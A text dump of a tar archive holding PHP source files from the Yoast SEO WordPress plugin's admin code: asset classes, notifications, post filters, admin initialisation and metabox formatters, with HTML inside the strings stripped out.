* Returns the path to the asset. * * @return string */ public function get_src() { return $this->src; } /** * Returns the asset dependencies. * * @return array|string */ public function get_deps() { return $this->deps; } /** * Returns the asset version. * * @return string|null */ public function get_version() { if ( ! empty( $this->version ) ) { return $this->version; } return null; } /** * Returns the media type for CSS assets. * * @return string */ public function get_media() { return $this->media; } /** * Returns whether a script asset should be loaded in the footer of the page. * * @return bool */ public function is_in_footer() { return $this->in_footer; } /** * Returns the script asset's async/defer loading strategy. * * @return string */ public function get_strategy() { return $this->strategy; } /** * Returns whether this CSS has a RTL counterpart. * * @return bool */ public function has_rtl() { return $this->rtl; } /** * Returns the file suffix. * * @return string */ public function get_suffix() { return $this->suffix; } } class-admin-help-panel.php000064400000005310147207033440011476 0ustar00id = $id; $this->help_button_text = $help_button_text; $this->help_content = $help_content; $this->wrapper = $wrapper; } /** * Returns the html for the Help Button. * * @return string */ public function get_button_html() { if ( ! $this->id || ! $this->help_button_text || ! $this->help_content ) { return ''; } return sprintf( ' ', esc_attr( $this->id ), $this->help_button_text ); } /** * Returns the html for the Help Panel. * * @return string */ public function get_panel_html() { if ( ! $this->id || ! $this->help_button_text || ! $this->help_content ) { return ''; } $wrapper_start = ''; $wrapper_end = ''; if ( $this->wrapper === 'has-wrapper' ) { $wrapper_start = '
    '; $wrapper_end = '
    '; } return sprintf( '%1$s

    %3$s

    %4$s', $wrapper_start, esc_attr( $this->id ), $this->help_content, $wrapper_end ); } } class-admin-asset-location.php000064400000000750147207033440012401 0ustar00options = $this->get_options(); } /** * Checks if the notice should be added or removed. * * @return void */ public function initialize() { $this->remove_notification(); } /** * Sets the upgrade notice. * * @return void */ public function set_upgrade_notice() { if ( $this->has_first_activated_on() ) { return; } $this->set_first_activated_on(); $this->add_notification(); } /** * Listener for the upsell notice. * * @return void */ public function dismiss_notice_listener() { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are validating a nonce here. if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'dismiss-5star-upsell' ) ) { return; } $dismiss_upsell = isset( $_GET['yoast_dismiss'] ) && is_string( $_GET['yoast_dismiss'] ) ? sanitize_text_field( wp_unslash( $_GET['yoast_dismiss'] ) ) : ''; if ( $dismiss_upsell !== 'upsell' ) { return; } $this->dismiss_notice(); if ( wp_safe_redirect( admin_url( 'admin.php?page=wpseo_dashboard' ) ) ) { exit; } } /** * When the notice should be shown. * * @return bool */ protected function should_add_notification() { return ( $this->options['first_activated_on'] < strtotime( '-2weeks' ) ); } /** * Checks if the options has a first activated on date value. * * @return bool */ protected function has_first_activated_on() { return $this->options['first_activated_on'] !== false; } /** * Sets the first activated on. * * @return void */ protected function set_first_activated_on() { $this->options['first_activated_on'] = strtotime( '-2weeks' ); $this->save_options(); } /** * Adds a notification to the notification center. * * @return void */ protected function add_notification() { $notification_center = Yoast_Notification_Center::get(); $notification_center->add_notification( $this->get_notification() ); } /** * Removes a notification to the notification center. * * @return void */ protected function remove_notification() { $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification( $this->get_notification() ); } /** * Returns a premium upsell section if using the free plugin. * * @return string */ protected function get_premium_upsell_section() { if ( ! YoastSEO()->helpers->product->is_premium() ) { return sprintf( /* translators: %1$s expands anchor to premium plugin page, %2$s expands to */ __( 'By the way, did you know we also have a %1$sPremium plugin%2$s? It offers advanced features, like a redirect manager and support for multiple keyphrases. It also comes with 24/7 personal support.', 'wordpress-seo' ), "", '' ); } return ''; } /** * Gets the notification value. * * @return Yoast_Notification */ protected function get_notification() { $message = sprintf( /* translators: %1$s expands to Yoast SEO, %2$s is a link start tag to the plugin page on WordPress.org, %3$s is the link closing tag. */ __( 'We\'ve noticed you\'ve been using %1$s for some time now; we hope you love it! We\'d be thrilled if you could %2$sgive us a 5 stars rating on WordPress.org%3$s!', 'wordpress-seo' ), 'Yoast SEO', '', '' ) . "\n\n"; $message .= sprintf( /* translators: %1$s is a link start tag to the bugreport guidelines on the Yoast help center, %2$s is the link closing tag. */ __( 'If you are experiencing issues, %1$splease file a bug report%2$s and we\'ll do our best to help you out.', 'wordpress-seo' ), '', '' ) . "\n\n"; $message .= $this->get_premium_upsell_section() . "\n\n"; $message .= '' . __( 'Please don\'t show me this notification anymore', 'wordpress-seo' ) . ''; $notification = new Yoast_Notification( $message, [ 'type' => Yoast_Notification::WARNING, 'id' => 'wpseo-upsell-notice', 'capabilities' => 'wpseo_manage_options', 'priority' => 0.8, ] ); return $notification; } /** * Dismisses the notice. * * @return bool */ protected function is_notice_dismissed() { return get_user_meta( get_current_user_id(), self::USER_META_DISMISSED, true ) === '1'; } /** * Dismisses the notice. * * @return void */ protected function dismiss_notice() { update_user_meta( get_current_user_id(), self::USER_META_DISMISSED, true ); } /** * Returns the set options. * * @return mixed */ protected function get_options() { return get_option( self::OPTION_NAME ); } /** * Saves the options to the database. * * @return void */ protected function save_options() { update_option( self::OPTION_NAME, $this->options ); } } filters/class-cornerstone-filter.php000064400000007275147207033440013673 0ustar00is_filter_active() ) { global $wpdb; $where .= $wpdb->prepare( " AND {$wpdb->posts}.ID IN ( SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s AND meta_value = '1' ) ", WPSEO_Meta::$meta_prefix . self::META_NAME ); } return $where; } /** * Filters the post types that have the metabox disabled. * * @param array $post_types The post types to filter. * * @return array The filtered post types. */ public function filter_metabox_disabled( $post_types ) { $filtered_post_types = []; foreach ( $post_types as $post_type_key => $post_type ) { if ( ! WPSEO_Post_Type::has_metabox_enabled( $post_type_key ) ) { continue; } $filtered_post_types[ $post_type_key ] = $post_type; } return $filtered_post_types; } /** * Returns the label for this filter. * * @return string The label for this filter. */ protected function get_label() { return __( 'Cornerstone content', 'wordpress-seo' ); } /** * Returns a text explaining this filter. * * @return string|null The explanation. */ protected function get_explanation() { $post_type_object = get_post_type_object( $this->get_current_post_type() ); if ( $post_type_object === null ) { return null; } return sprintf( /* translators: %1$s expands to the posttype label, %2$s expands anchor to blog post about cornerstone content, %3$s expands to */ __( 'Mark the most important %1$s as \'cornerstone content\' to improve your site structure. %2$sLearn more about cornerstone content%3$s.', 'wordpress-seo' ), strtolower( $post_type_object->labels->name ), '', '' ); } /** * Returns the total amount of articles marked as cornerstone content. * * @return int */ protected function get_post_total() { global $wpdb; return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM {$wpdb->postmeta} WHERE post_id IN( SELECT ID FROM {$wpdb->posts} WHERE post_type = %s ) AND meta_key = %s AND meta_value = '1' ", $this->get_current_post_type(), WPSEO_Meta::$meta_prefix . self::META_NAME ) ); } /** * Returns the post types to which this filter should be added. * * @return array The post types to which this filter should be added. */ protected function get_post_types() { /** * Filter: 'wpseo_cornerstone_post_types' - Filters post types to exclude the cornerstone feature for. * * @param array $post_types The accessible post types to filter. */ $post_types = apply_filters( 'wpseo_cornerstone_post_types', parent::get_post_types() ); if ( ! is_array( $post_types ) ) { return []; } return $post_types; } } filters/class-abstract-post-filter.php000064400000012545147207033440014114 0ustar00is_filter_active() ) { add_action( 'restrict_manage_posts', [ $this, 'render_hidden_input' ] ); } if ( $this->is_filter_active() ) { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_explanation_assets' ] ); } } /** * Adds the filter links to the view_edit screens to give the user a filter link. * * @return void */ public function add_filter_links() { foreach ( $this->get_post_types() as $post_type ) { add_filter( 'views_edit-' . $post_type, [ $this, 'add_filter_link' ] ); } } /** * Enqueues the necessary assets to display a filter explanation. * * @return void */ public function enqueue_explanation_assets() { $explanation = $this->get_explanation(); if ( $explanation === null ) { return; } $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_script( 'filter-explanation' ); $asset_manager->enqueue_style( 'filter-explanation' ); $asset_manager->localize_script( 'filter-explanation', 'yoastFilterExplanation', [ 'text' => $explanation ] ); } /** * Adds a filter link to the views. * * @param array $views Array with the views. * * @return array Array of views including the added view. */ public function add_filter_link( $views ) { $views[ 'yoast_' . $this->get_query_val() ] = sprintf( '%3$s (%4$s)', esc_url( $this->get_filter_url() ), ( $this->is_filter_active() ) ? ' class="current" aria-current="page"' : '', $this->get_label(), $this->get_post_total() ); return $views; } /** * Returns a text explaining this filter. Null if no explanation is necessary. * * @return string|null The explanation or null. */ protected function get_explanation() { return null; } /** * Renders a hidden input to preserve this filter's state when using sub-filters. * * @return void */ public function render_hidden_input() { echo ''; } /** * Returns an url to edit.php with post_type and this filter as the query arguments. * * @return string The url to activate this filter. */ protected function get_filter_url() { $query_args = [ self::FILTER_QUERY_ARG => $this->get_query_val(), 'post_type' => $this->get_current_post_type(), ]; return add_query_arg( $query_args, 'edit.php' ); } /** * Returns true when the filter is active. * * @return bool Whether the filter is active. */ protected function is_filter_active() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET[ self::FILTER_QUERY_ARG ] ) && is_string( $_GET[ self::FILTER_QUERY_ARG ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET[ self::FILTER_QUERY_ARG ] ) ) === $this->get_query_val(); } return false; } /** * Returns the current post type. * * @return string The current post type. */ protected function get_current_post_type() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $post_type = sanitize_text_field( wp_unslash( $_GET['post_type'] ) ); if ( ! empty( $post_type ) ) { return $post_type; } } return 'post'; } /** * Returns the post types to which this filter should be added. * * @return array The post types to which this filter should be added. */ protected function get_post_types() { return WPSEO_Post_Type::get_accessible_post_types(); } /** * Checks if the post type is supported. * * @param string $post_type Post type to check against. * * @return bool True when it is supported. */ protected function is_supported_post_type( $post_type ) { return in_array( $post_type, $this->get_post_types(), true ); } } notifiers/dismissible-notification.php000064400000006147147207033440014266 0ustar00get_listener_value() !== $this->notification_identifier ) { return; } $this->dismiss(); } /** * Adds the notification if applicable, otherwise removes it. * * @param Yoast_Notification_Center $notification_center The notification center object. * * @return void */ public function handle( Yoast_Notification_Center $notification_center ) { if ( $this->is_applicable() ) { $notification = $this->get_notification(); $notification_center->add_notification( $notification ); return; } $notification_center->remove_notification_by_id( 'wpseo-' . $this->notification_identifier ); } /** * Listens to an argument in the request URL and triggers an action. * * @return void */ protected function dismiss() { $this->set_dismissal_state(); $this->redirect_to_dashboard(); } /** * Checks if a notice is applicable. * * @return bool Whether a notice should be shown or not. */ protected function is_applicable() { return $this->is_notice_dismissed() === false; } /** * Checks whether the notification has been dismissed. * * @codeCoverageIgnore * * @return bool True when notification is dismissed. */ protected function is_notice_dismissed() { return get_user_meta( get_current_user_id(), 'wpseo-remove-' . $this->notification_identifier, true ) === '1'; } /** * Retrieves the value where listener is listening for. * * @codeCoverageIgnore * * @return string|null The listener value or null if not set. */ protected function get_listener_value() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: Normally we would need to check for a nonce here but this class is not used anymore. if ( isset( $_GET['yoast_dismiss'] ) && is_string( $_GET['yoast_dismiss'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: Normally we would need to check for a nonce here but this class is not used anymore. return sanitize_text_field( wp_unslash( $_GET['yoast_dismiss'] ) ); } return null; } /** * Dismisses the notification. * * @codeCoverageIgnore * * @return void */ protected function set_dismissal_state() { update_user_meta( get_current_user_id(), 'wpseo-remove-' . $this->notification_identifier, true ); } /** * Redirects the user back to the dashboard. * * @codeCoverageIgnore * * @return void */ protected function redirect_to_dashboard() { wp_safe_redirect( admin_url( 'admin.php?page=wpseo_dashboard' ) ); exit; } } notifiers/interface-notification-handler.php000064400000000665147207033440015331 0ustar00helpers->current_page->is_yoast_seo_page() ) { return; } // Variable name is the same as the global that is set by get_settings_errors. $wp_settings_errors = get_settings_errors(); foreach ( $wp_settings_errors as $key => $wp_settings_error ) { if ( ! $this->is_settings_updated_notification( $wp_settings_error ) ) { continue; } self::$settings_saved = true; unset( $wp_settings_errors[ $key ] ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride -- Overwrite the global with the list excluding the Changed saved message. $GLOBALS['wp_settings_errors'] = $wp_settings_errors; break; } } /** * Checks whether the settings notification is a settings_updated notification. * * @param array $wp_settings_error The settings object. * * @return bool Whether this is a settings updated settings notification. */ public function is_settings_updated_notification( $wp_settings_error ) { return ! empty( $wp_settings_error['code'] ) && $wp_settings_error['code'] === 'settings_updated'; } /** * Get whether the settings have successfully been saved * * @return bool Whether the settings have successfully been saved. */ public function have_settings_been_saved() { return self::$settings_saved; } /** * Renders a success message if the Yoast SEO settings have been saved. * * @return void */ public function show_success_message() { if ( $this->have_settings_been_saved() ) { echo '

    ', esc_html__( 'Settings saved.', 'wordpress-seo' ), '

    '; } } } class-admin-init.php000064400000025332147207033440010422 0ustar00pagenow = $GLOBALS['pagenow']; $this->asset_manager = new WPSEO_Admin_Asset_Manager(); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dismissible' ] ); add_action( 'admin_init', [ $this, 'unsupported_php_notice' ], 15 ); add_action( 'admin_init', [ $this, 'remove_translations_notification' ], 15 ); add_action( 'admin_init', [ $this->asset_manager, 'register_assets' ] ); add_action( 'admin_init', [ $this, 'show_hook_deprecation_warnings' ] ); add_action( 'admin_init', [ 'WPSEO_Plugin_Conflict', 'hook_check_for_plugin_conflicts' ] ); add_action( 'admin_notices', [ $this, 'permalink_settings_notice' ] ); add_action( 'post_submitbox_misc_actions', [ $this, 'add_publish_box_section' ] ); $this->load_meta_boxes(); $this->load_taxonomy_class(); $this->load_admin_page_class(); $this->load_admin_user_class(); $this->load_xml_sitemaps_admin(); $this->load_plugin_suggestions(); } /** * Enqueue our styling for dismissible yoast notifications. * * @return void */ public function enqueue_dismissible() { $this->asset_manager->enqueue_style( 'dismissible' ); } /** * Removes any notification for incomplete translations. * * @return void */ public function remove_translations_notification() { $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification_by_id( 'i18nModuleTranslationAssistance' ); } /** * Creates an unsupported PHP version notification in the notification center. * * @return void */ public function unsupported_php_notice() { $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification_by_id( 'wpseo-dismiss-unsupported-php' ); } /** * Gets the latest released major WordPress version from the WordPress stable-check api. * * @return float|int The latest released major WordPress version. 0 when the stable-check API doesn't respond. */ private function get_latest_major_wordpress_version() { $core_updates = get_core_updates( [ 'dismissed' => true ] ); if ( $core_updates === false ) { return 0; } $wp_version_latest = get_bloginfo( 'version' ); foreach ( $core_updates as $update ) { if ( $update->response === 'upgrade' && version_compare( $update->version, $wp_version_latest, '>' ) ) { $wp_version_latest = $update->version; } } // Strip the patch version and convert to a float. return (float) $wp_version_latest; } /** * Helper to verify if the user is currently visiting one of our admin pages. * * @return bool */ private function on_wpseo_admin_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! isset( $_GET['page'] ) || ! is_string( $_GET['page'] ) ) { return false; } if ( $this->pagenow !== 'admin.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $current_page = sanitize_text_field( wp_unslash( $_GET['page'] ) ); return strpos( $current_page, 'wpseo' ) === 0; } /** * Whether we should load the meta box classes. * * @return bool true if we should load the meta box classes, false otherwise. */ private function should_load_meta_boxes() { /** * Filter: 'wpseo_always_register_metaboxes_on_admin' - Allow developers to change whether * the WPSEO metaboxes are only registered on the typical pages (lean loading) or always * registered when in admin. * * @param bool $register_metaboxes Whether to always register the metaboxes or not. Defaults to false. */ if ( apply_filters( 'wpseo_always_register_metaboxes_on_admin', false ) ) { return true; } // If we are in a post editor. if ( WPSEO_Metabox::is_post_overview( $this->pagenow ) || WPSEO_Metabox::is_post_edit( $this->pagenow ) ) { return true; } // If we are doing an inline save. if ( check_ajax_referer( 'inlineeditnonce', '_inline_edit', false ) && isset( $_POST['action'] ) && sanitize_text_field( wp_unslash( $_POST['action'] ) ) === 'inline-save' ) { return true; } return false; } /** * Determine whether we should load the meta box class and if so, load it. * * @return void */ private function load_meta_boxes() { if ( $this->should_load_meta_boxes() ) { $GLOBALS['wpseo_metabox'] = new WPSEO_Metabox(); $GLOBALS['wpseo_meta_columns'] = new WPSEO_Meta_Columns(); } } /** * Determine if we should load our taxonomy edit class and if so, load it. * * @return void */ private function load_taxonomy_class() { if ( WPSEO_Taxonomy::is_term_edit( $this->pagenow ) || WPSEO_Taxonomy::is_term_overview( $this->pagenow ) ) { new WPSEO_Taxonomy(); } } /** * Determine if we should load our admin pages class and if so, load it. * * Loads admin page class for all admin pages starting with `wpseo_`. * * @return void */ private function load_admin_user_class() { if ( in_array( $this->pagenow, [ 'user-edit.php', 'profile.php' ], true ) && current_user_can( 'edit_users' ) ) { new WPSEO_Admin_User_Profile(); } } /** * Determine if we should load our admin pages class and if so, load it. * * Loads admin page class for all admin pages starting with `wpseo_`. * * @return void */ private function load_admin_page_class() { if ( $this->on_wpseo_admin_page() ) { // For backwards compatabilty, this still needs a global, for now... $GLOBALS['wpseo_admin_pages'] = new WPSEO_Admin_Pages(); $page = null; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $page = sanitize_text_field( wp_unslash( $_GET['page'] ) ); } // Only renders Yoast SEO Premium upsells when the page is a Yoast SEO page. if ( $page !== null && WPSEO_Utils::is_yoast_seo_free_page( $page ) ) { $this->register_premium_upsell_admin_block(); } } } /** * Loads the plugin suggestions. * * @return void */ private function load_plugin_suggestions() { $suggestions = new WPSEO_Suggested_Plugins( new WPSEO_Plugin_Availability(), Yoast_Notification_Center::get() ); $suggestions->register_hooks(); } /** * Registers the Premium Upsell Admin Block. * * @return void */ private function register_premium_upsell_admin_block() { if ( ! YoastSEO()->helpers->product->is_premium() ) { $upsell_block = new WPSEO_Premium_Upsell_Admin_Block( 'wpseo_admin_promo_footer' ); $upsell_block->register_hooks(); } } /** * See if we should start our XML Sitemaps Admin class. * * @return void */ private function load_xml_sitemaps_admin() { if ( WPSEO_Options::get( 'enable_xml_sitemap', false, [ 'wpseo' ] ) ) { new WPSEO_Sitemaps_Admin(); } } /** * Shows deprecation warnings to the user if a plugin has registered a filter we have deprecated. * * @return void */ public function show_hook_deprecation_warnings() { global $wp_filter; if ( wp_doing_ajax() ) { return; } // WordPress hooks that have been deprecated since a Yoast SEO version. $deprecated_filters = [ 'wpseo_genesis_force_adjacent_rel_home' => [ 'version' => '9.4', 'alternative' => null, ], 'wpseo_opengraph' => [ 'version' => '14.0', 'alternative' => null, ], 'wpseo_twitter' => [ 'version' => '14.0', 'alternative' => null, ], 'wpseo_twitter_taxonomy_image' => [ 'version' => '14.0', 'alternative' => null, ], 'wpseo_twitter_metatag_key' => [ 'version' => '14.0', 'alternative' => null, ], 'wp_seo_get_bc_ancestors' => [ 'version' => '14.0', 'alternative' => 'wpseo_breadcrumb_links', ], 'validate_facebook_app_id_api_response_code' => [ 'version' => '15.5', 'alternative' => null, ], 'validate_facebook_app_id_api_response_body' => [ 'version' => '15.5', 'alternative' => null, ], ]; // Determine which filters have been registered. $deprecated_notices = array_intersect( array_keys( $deprecated_filters ), array_keys( $wp_filter ) ); // Show notice for each deprecated filter or action that has been registered. foreach ( $deprecated_notices as $deprecated_filter ) { $deprecation_info = $deprecated_filters[ $deprecated_filter ]; // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Only uses the hardcoded values from above. _deprecated_hook( $deprecated_filter, 'WPSEO ' . $deprecation_info['version'], $deprecation_info['alternative'] ); // phpcs:enable } } /** * Check if the permalink uses %postname%. * * @return bool */ private function has_postname_in_permalink() { return ( strpos( get_option( 'permalink_structure' ), '%postname%' ) !== false ); } /** * Shows a notice on the permalink settings page. * * @return void */ public function permalink_settings_notice() { global $pagenow; if ( $pagenow === 'options-permalink.php' ) { printf( '

    %1$s
    %2$s
    %4$s

    ', esc_html__( 'WARNING:', 'wordpress-seo' ), sprintf( /* translators: %1$s and %2$s expand to items to emphasize the word in the middle. */ esc_html__( 'Changing your permalinks settings can seriously impact your search engine visibility. It should almost %1$s never %2$s be done on a live website.', 'wordpress-seo' ), '', '' ), esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/why-permalinks/' ) ), // The link's content. esc_html__( 'Learn about why permalinks are important for SEO.', 'wordpress-seo' ) ); } } /** * Adds a custom Yoast section within the Classic Editor publish box. * * @param WP_Post $post The current post object. * * @return void */ public function add_publish_box_section( $post ) { if ( in_array( $this->pagenow, [ 'post.php', 'post-new.php' ], true ) ) { ?>
    '; printf( /* Translators: %s: expands to Yoast SEO Premium */ esc_html__( 'Creating redirects is a %s feature', 'wordpress-seo' ), 'Yoast SEO Premium' ); echo ''; echo '

    '; printf( /* Translators: %1$s: expands to 'Yoast SEO Premium', %2$s: links to Yoast SEO Premium plugin page. */ esc_html__( 'To be able to create a redirect and fix this issue, you need %1$s. You can buy the plugin, including one year of support and updates, on %2$s.', 'wordpress-seo' ), 'Yoast SEO Premium', 'yoast.com' ); echo '

    '; echo ''; google_search_console/views/gsc-display.php000064400000004472147207033440015167 0ustar00admin_header( false, 'wpseo-gsc', false, 'yoast_wpseo_gsc_options' ); // GSC Error notification. $gsc_url = 'https://search.google.com/search-console/index'; $gsc_post_url = 'https://yoa.st/google-search-console-deprecated'; $gsc_style_alert = ' display: flex; align-items: baseline; position: relative; padding: 16px; border: 1px solid rgba(0, 0, 0, 0.2); font-size: 14px; font-weight: 400; line-height: 1.5; margin: 16px 0; color: #450c11; background: #f8d7da; '; $gsc_style_alert_icon = 'display: block; margin-right: 8px;'; $gsc_style_alert_content = 'max-width: 600px;'; $gsc_style_alert_link = 'color: #004973;'; $gsc_notification = sprintf( /* Translators: %1$s: expands to opening anchor tag, %2$s expands to closing anchor tag. */ __( 'Google has discontinued its Crawl Errors API. Therefore, any possible crawl errors you might have cannot be displayed here anymore. %1$sRead our statement on this for further information%2$s.', 'wordpress-seo' ), '', WPSEO_Admin_Utils::get_new_tab_message() . '' ); $gsc_notification .= '

    '; $gsc_notification .= sprintf( /* Translators: %1$s: expands to opening anchor tag, %2$s expands to closing anchor tag. */ __( 'To view your current crawl errors, %1$splease visit Google Search Console%2$s.', 'wordpress-seo' ), '', WPSEO_Admin_Utils::get_new_tab_message() . '' ); ?>
    post = $post; $this->permalink = $structure; } /** * Determines whether the social templates should be used. * * @deprecated 23.1 * @codeCoverageIgnore */ public function use_social_templates() { _deprecated_function( __METHOD__, 'Yoast SEO 23.1' ); } /** * Returns the translated values. * * @return array */ public function get_values() { $values = [ 'metaDescriptionDate' => '', ]; if ( $this->post instanceof WP_Post ) { /** @var Post_Seo_Information_Repository $repo */ $repo = YoastSEO()->classes->get( Post_Seo_Information_Repository::class ); $repo->set_post( $this->post ); $values_to_set = [ 'isInsightsEnabled' => $this->is_insights_enabled(), ]; $values = ( $values_to_set + $values ); $values = ( $repo->get_seo_data() + $values ); } /** * Filter: 'wpseo_post_edit_values' - Allows changing the values Yoast SEO uses inside the post editor. * * @param array $values The key-value map Yoast SEO uses inside the post editor. * @param WP_Post $post The post opened in the editor. */ return apply_filters( 'wpseo_post_edit_values', $values, $this->post ); } /** * Determines whether the insights feature is enabled for this post. * * @return bool */ protected function is_insights_enabled() { return WPSEO_Options::get( 'enable_metabox_insights', false ); } } formatter/class-term-metabox-formatter.php000064400000004325147207033440015000 0ustar00taxonomy = $taxonomy; $this->term = $term; $this->use_social_templates = $this->use_social_templates(); } /** * Determines whether the social templates should be used. * * @return bool Whether the social templates should be used. */ public function use_social_templates() { return WPSEO_Options::get( 'opengraph', false ) === true; } /** * Returns the translated values. * * @return array */ public function get_values() { $values = []; // Todo: a column needs to be added on the termpages to add a filter for the keyword, so this can be used in the focus keyphrase doubles. if ( is_object( $this->term ) && property_exists( $this->term, 'taxonomy' ) ) { $values = [ 'taxonomy' => $this->term->taxonomy, 'semrushIntegrationActive' => 0, 'wincherIntegrationActive' => 0, 'isInsightsEnabled' => $this->is_insights_enabled(), ]; $repo = YoastSEO()->classes->get( Term_Seo_Information_Repository::class ); $repo->set_term( $this->term ); $values = ( $repo->get_seo_data() + $values ); } return $values; } /** * Determines whether the insights feature is enabled for this taxonomy. * * @return bool */ protected function is_insights_enabled() { return WPSEO_Options::get( 'enable_metabox_insights', false ); } } formatter/class-metabox-formatter.php000064400000005207147207033440014033 0ustar00formatter = $formatter; } /** * Returns the values. * * @return array|bool|int> */ public function get_values() { $defaults = $this->get_defaults(); $values = $this->formatter->get_values(); return ( $values + $defaults ); } /** * Returns array with all the values always needed by a scraper object. * * @return array|bool|int> Default settings for the metabox. */ private function get_defaults() { $schema_types = new Schema_Types(); $defaults = [ 'author_name' => get_the_author_meta( 'display_name' ), 'keyword_usage' => [], 'title_template' => '', 'metadesc_template' => '', 'schema' => [ 'displayFooter' => WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ), 'pageTypeOptions' => $schema_types->get_page_type_options(), 'articleTypeOptions' => $schema_types->get_article_type_options(), ], 'twitterCardType' => 'summary_large_image', /** * Filter to determine if the markers should be enabled or not. * * @param bool $showMarkers Should the markers being enabled. Default = true. */ 'show_markers' => apply_filters( 'wpseo_enable_assessment_markers', true ), ]; $integration_information_repo = YoastSEO()->classes->get( Integration_Information_Repository::class ); $enabled_integrations = $integration_information_repo->get_integration_information(); $defaults = array_merge( $defaults, $enabled_integrations ); $enabled_features_repo = YoastSEO()->classes->get( Enabled_Analysis_Features_Repository::class ); $enabled_features = $enabled_features_repo->get_enabled_features()->parse_to_legacy_array(); return array_merge( $defaults, $enabled_features ); } } formatter/interface-metabox-formatter.php000064400000000402147207033440014656 0ustar00add_notification(); return; } $this->remove_notification(); } /** * Adds a notification to the notification center. * * @return void */ protected function add_notification() { $notification_center = Yoast_Notification_Center::get(); $notification_center->add_notification( $this->get_notification() ); } /** * Removes a notification to the notification center. * * @return void */ protected function remove_notification() { $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification( $this->get_notification() ); } /** * Gets the notification object. * * @return Yoast_Notification */ protected function get_notification() { $message = sprintf( /* translators: %1$s is a link start tag to the Search Appearance settings, %2$s is the link closing tag. */ __( 'You have previously set your site to represent a person. We’ve improved our functionality around Schema and the Knowledge Graph, so you should go in and %1$scomplete those settings%2$s.', 'wordpress-seo' ), '', '' ); $notification = new Yoast_Notification( $message, [ 'type' => Yoast_Notification::WARNING, 'id' => 'wpseo-schema-person-upgrade', 'capabilities' => 'wpseo_manage_options', 'priority' => 0.8, ] ); return $notification; } } class-premium-popup.php000064400000005472147207033440011213 0ustar00identifier = $identifier; $this->heading_level = $heading_level; $this->title = $title; $this->content = $content; $this->url = $url; } /** * Returns the premium popup as an HTML string. * * @param bool $popup Show this message as a popup show it straight away. * * @return string */ public function get_premium_message( $popup = true ) { // Don't show in Premium. if ( defined( 'WPSEO_PREMIUM_FILE' ) ) { return ''; } $assets_uri = trailingslashit( plugin_dir_url( WPSEO_FILE ) ); /* translators: %s expands to Yoast SEO Premium */ $cta_text = esc_html( sprintf( __( 'Get %s', 'wordpress-seo' ), 'Yoast SEO Premium' ) ); /* translators: Hidden accessibility text. */ $new_tab_message = '' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . ''; $caret_icon = ''; $classes = ''; if ( $popup ) { $classes = ' hidden'; } $micro_copy = __( '1 year free support and updates included!', 'wordpress-seo' ); $popup = << Yoast SEO <{$this->heading_level} id="wpseo-contact-support-popup-title" class="wpseo-premium-popup-title">{$this->title}heading_level}> {$this->content} {$cta_text} {$new_tab_message} {$caret_icon}
    {$micro_copy} EO_POPUP; return $popup; } } class-admin.php000064400000032207147207033440007460 0ustar00register_hooks(); if ( is_multisite() ) { WPSEO_Options::maybe_set_multisite_defaults( false ); } add_action( 'created_category', [ $this, 'schedule_rewrite_flush' ] ); add_action( 'edited_category', [ $this, 'schedule_rewrite_flush' ] ); add_action( 'delete_category', [ $this, 'schedule_rewrite_flush' ] ); add_filter( 'wpseo_accessible_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] ); add_filter( 'plugin_action_links_' . WPSEO_BASENAME, [ $this, 'add_action_link' ], 10, 2 ); add_filter( 'network_admin_plugin_action_links_' . WPSEO_BASENAME, [ $this, 'add_action_link' ], 10, 2 ); add_action( 'admin_enqueue_scripts', [ $this, 'config_page_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_global_style' ] ); add_action( 'after_switch_theme', [ $this, 'switch_theme' ] ); add_action( 'switch_theme', [ $this, 'switch_theme' ] ); add_filter( 'set-screen-option', [ $this, 'save_bulk_edit_options' ], 10, 3 ); add_action( 'admin_init', [ 'WPSEO_Plugin_Conflict', 'hook_check_for_plugin_conflicts' ], 10, 1 ); add_action( 'admin_init', [ $this, 'map_manage_options_cap' ] ); WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'wpseo' ); WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'home' ); if ( YoastSEO()->helpers->current_page->is_yoast_seo_page() ) { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); } $this->initialize_cornerstone_content(); if ( WPSEO_Utils::is_plugin_network_active() ) { $integrations[] = new Yoast_Network_Admin(); } $this->admin_features = [ 'dashboard_widget' => new Yoast_Dashboard_Widget(), 'wincher_dashboard_widget' => new Wincher_Dashboard_Widget(), ]; if 